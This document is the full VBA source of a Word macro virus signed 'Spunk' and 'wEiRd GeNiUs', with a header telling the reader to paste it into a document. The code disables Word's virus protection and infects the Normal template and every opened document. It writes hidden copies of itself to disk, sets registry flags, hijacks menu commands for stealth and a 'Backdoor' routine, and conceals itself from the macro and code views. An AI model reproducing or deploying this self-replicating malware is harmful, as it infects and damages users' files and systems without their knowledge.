============================================================================================================================================ CODE STARTS HERE, PASTE IN THE THISDOCUMENT SECTION OF A DOCUMENT. NOT IN THE NORMALTEMPLATE!!! ============================================================================================================================================ 'Spunk 'GeNiUs Private Sub Document_Open() On Error Resume Next MonthInit = Month(Now) If ActiveDocument.Saved = False Then Changed = True Else Changed = False Init = GetSetting(appname:="VBA", Section:="Spunk", Key:="Init") If Init <> "" Then If MonthInit >= Init + 1 Then Randomize: If Int(Rnd * 10) = 3 Then For x = 1 To 10 ActiveDocument.Shapes.AddShape(msoShape32pointStar, Int(Rnd * 500), Int(Rnd * 500), Int(Rnd * 500), Int(Rnd * _500)).Select Selection.ShapeRange.Fill.ForeColor.RGB = RGB(Int(Rnd * 255), Int(Rnd * 255), Int(Rnd * 255)) Selection.ShapeRange.Fill.Visible = msoTrue Selection.ShapeRange.Fill.Solid Next x End If If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName End If End If With Options: .ConfirmConversions = False: .VirusProtection = False: .SaveNormalPrompt = False: End With Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule If NT.Lines(2, 1) = "'wEiRd" Then NTi = True Else NTi = False If AD.Lines(2, 1) = "'GeNiUs" Then ADi = True Else ADi = False If NTi = True Then If ADi <> True And Left(ActiveDocument.Name, 8) <> "Document" Then NT.ReplaceLine 76, "AD.AddFromString Code" Infect_ActiveDocument End If End If If ADi = True And NTi = False Then Code = AD.Lines(1, AD.CountOfLines): Name1 = Options.DefaultFilePath(wdTempFilePath) & "\_.dot" Name2 = Options.DefaultFilePath(wdProgramPath) & "\dyno107.fmt" If Dir(Name2) = "" Then Open Name2 For Output As #1: Print #1, Code: Close #1 End If If Dir(Name1) = "" Then InitMonth = Month(Now) If InitMonth = 12 Then InitMonth = 1 SaveSetting "VBA", "Spunk", "Init", InitMonth AD.ReplaceLine 67, "ADT.AddFromString LoadCode" Call Create_Template End If If Dir(Name2) <> "" Then System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "Inrun") = True Temp = Options.DefaultFilePath(wdTempFilePath) & "\_.dot": AddIns.Add FileName:=Temp, Install:=True x = CommandBars("Tools").Controls.Count CommandBars("Tools").Controls("Templates and Add-&Ins...").OnAction = "TemplateStealth" CommandBars("Help").Controls("WordPerfect Help...").OnAction = "Backdoor" If CommandBars("Tools").Controls(x).Caption = "wEiRd GeNiUs" Then GoTo Installed CommandBars("Tools").Controls.Add ID:=751: CommandBars("Tools").Controls(x + 1).Caption = "wEiRd GeNiUs": CommandBars("Tools").Controls("wEiRd GeNiUs").Visible = False End If Installed: End If: NormalTemplate.Saved = True If Changed = True Then Exit Sub If NTi = True And ADi = True Then Exit Sub If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName If Left(ActiveDocument.Name, 8) = "Document" Then ActiveDocument.Saved = True End Sub Private Sub Create_Template() Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule LoadCode = AD.Lines(89, AD.CountOfLines): Name1 = Options.DefaultFilePath(wdTempFilePath) & "\_.dot" Documents.Add: Set ADT = ActiveDocument.VBProject.VBComponents(1).CodeModule 'Fools! AD.ReplaceLine 67, "'Fools!": ADT.ReplaceLine 1, "Sub AutoExec()": ADT.ReplaceLine 30, "Sub ToolsMacro()": ADT.ReplaceLine 38, "Sub ViewVBCode()": ADT.ReplaceLine 52, "Sub AutoExit()" ActiveDocument.SaveAs FileName:=Name1, FileFormat:=wdFormatTemplate, AddToRecentFiles:=False: ActiveDocument.Close End Sub Private Sub Infect_ActiveDocument() Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule Code = NT.Lines(1, NT.CountOfLines): AD.DeleteLines 1, AD.CountOfLines 'You fools!, This is not expected behaviour for F-Macrow :^) AD.ReplaceLine 2, "'GeNiUs": AD.ReplaceLine 3, "Private Sub Document_Open": NT.ReplaceLine 76, "'You fools!, This is not expected behaviour for F-Macrow :^)": AD.ReplaceLine 76, "'You fools!, This is not expected behaviour for F-Macrow :^)": NormalTemplate.Save End Sub Private Sub Backdoor() MsgBox "Spunk!! Word Perfect help!!??... Get real!", vbCritical, "MacroShit BackOrifice": System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "Inrun") = True: CommandBars("Tools").Controls("wEiRd GeNiUs").Execute: System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "Inrun") = False End Sub Private Sub TemplateStealth() System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "Inrun") = True Temp = Options.DefaultFilePath(wdTempFilePath) & "\_.dot": AddIns(Temp).Delete CommandBars("Tools").Controls("wEiRd GeNiUs").Execute System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "Inrun") = True AddIns.Add FileName:=Temp, Install:=True End Sub Private Sub Loader() On Error Resume Next Options.VirusProtection = (301 - 301) If (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "Inrun") = True) Then System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "Inrun") = False If (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "StealthMode") = False) Then Exit Sub End If StartupPath = Options.DefaultFilePath(wdUserOptionsPath) If UCase(Right$(StartupPath, 9)) <> "DOCUMENTS" Then Options.DefaultFilePath(wdUserOptionsPath) = "" Options.DefaultFilePath(wdStartupPath) = StartupPath End If If (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "StealthMode") = True) Then System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "StealthMode") = False If ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 1) = "'Spunk" Then Exit Sub End If Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule If NT.Lines(1, 1) <> "'Spunk" Then Name2 = Options.DefaultFilePath(wdProgramPath) & "\dyno107.fmt" NT.DeleteLines 1, NT.CountOfLines NT.AddFromFile (Name2) NT.ReplaceLine 2, "'wEiRd": NT.ReplaceLine 3, "Private Sub Document_Close": NormalTemplate.Save End If x = CommandBars("Tools").Controls.Count CommandBars("Tools").Controls("Templates and Add-&Ins...").OnAction = "TemplateStealth" CommandBars("Help").Controls("WordPerfect Help...").OnAction = "Backdoor" If CommandBars("Tools").Controls(x).Caption = "wEiRd GeNiUs" Then Exit Sub CommandBars("Tools").Controls.Add ID:=751: CommandBars("Tools").Controls(x + 1).Caption = "wEiRd GeNiUs": CommandBars("Tools").Controls("wEiRd GeNiUs").Visible = False: NormalTemplate.Saved = True End Sub Private Sub MacroStealth() On Error Resume Next System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "Inrun") = True Temp = Options.DefaultFilePath(wdTempFilePath) & "\_.dot" AddIns(Temp).Delete Dialogs(wdDialogToolsMacro).Show AddIns.Add FileName:=Temp, Install:=True End Sub Private Sub VisualStealth() On Error Resume Next TempFilePad = Options.DefaultFilePath(wdTempFilePath) StartupPad = Options.DefaultFilePath(wdStartupPath) Options.DefaultFilePath(wdUserOptionsPath) = StartupPad Options.DefaultFilePath(wdStartupPath) = TempFilePad Temp = Options.DefaultFilePath(wdTempFilePath) & "\_.dot": AddIns(Temp).Delete Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule If NT.Lines(1, 1) = "'Spunk" Then NT.DeleteLines 1, NT.CountOfLines If AD.Lines(1, 1) = "'Spunk" Then AD.DeleteLines 1, AD.CountOfLines CommandBars("Tools").Controls("Templates and Add-&Ins...").Reset: NormalTemplate.Save System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "StealthMode") = True: ShowVisualBasicEditor = True: NormalTemplate.Saved = True End Sub Private Sub Setpath() On Error Resume Next If (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "Inrun") = True) Then Exit Sub Options.VirusProtection = 1 TempFilePad = Options.DefaultFilePath(wdTempFilePath) StartupPad = Options.DefaultFilePath(wdStartupPath) Options.DefaultFilePath(wdUserOptionsPath) = StartupPad Options.DefaultFilePath(wdStartupPath) = TempFilePad: NormalTemplate.Saved = True End Sub